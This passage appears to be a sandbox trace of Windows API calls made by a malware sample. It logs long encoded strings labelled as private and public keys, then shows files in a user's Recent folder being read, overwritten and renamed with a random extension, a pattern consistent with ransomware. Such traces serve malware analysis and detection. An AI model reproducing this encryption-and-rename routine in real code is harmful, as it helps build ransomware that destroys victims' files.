QXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.603] GetCurrentThreadId () returned 0xa30 [0082.603] GetCurrentThreadId () returned 0xa30 [0082.603] GetCurrentThreadId () returned 0xa30 [0082.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.604] GetCurrentThreadId () returned 0xa30 [0082.604] GetCurrentThreadId () returned 0xa30 [0082.604] GetCurrentThreadId () returned 0xa30 [0082.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oci93tz5rng3offp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.604] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.604] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.605] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf9f [0082.605] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.605] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf9f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf9f, lpOverlapped=0x0) returned 1 [0082.607] CloseHandle (hObject=0x124) returned 1 [0082.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oci93tz5rng3offp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.609] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf9f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf9f, lpOverlapped=0x0) returned 1 [0082.611] CloseHandle (hObject=0x124) returned 1 [0082.622] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oci93tz5rng3offp.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oci93tz5rng3offp.lnk.zv7un")) returned 1 [0082.624] GetCurrentThreadId () returned 0xa30 [0082.624] GetCurrentThreadId () returned 0xa30 [0082.624] GetCurrentThreadId () returned 0xa30 [0082.624] GetCurrentThreadId () returned 0xa30 [0082.624] GetCurrentThreadId () returned 0xa30 [0082.624] GetCurrentThreadId () returned 0xa30 [0082.624] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18c7a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe18c7a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe18c7a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20a1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="osnW47dF.lnk", cAlternateFileName="")) returned 1 [0082.624] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.624] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osnw47df.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18c7a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe18c7a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe18c7a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20a1)) returned 1 [0082.625] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osnw47df.lnk")) returned 0x20 [0082.625] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk", dwFileAttributes=0x80) returned 1 [0082.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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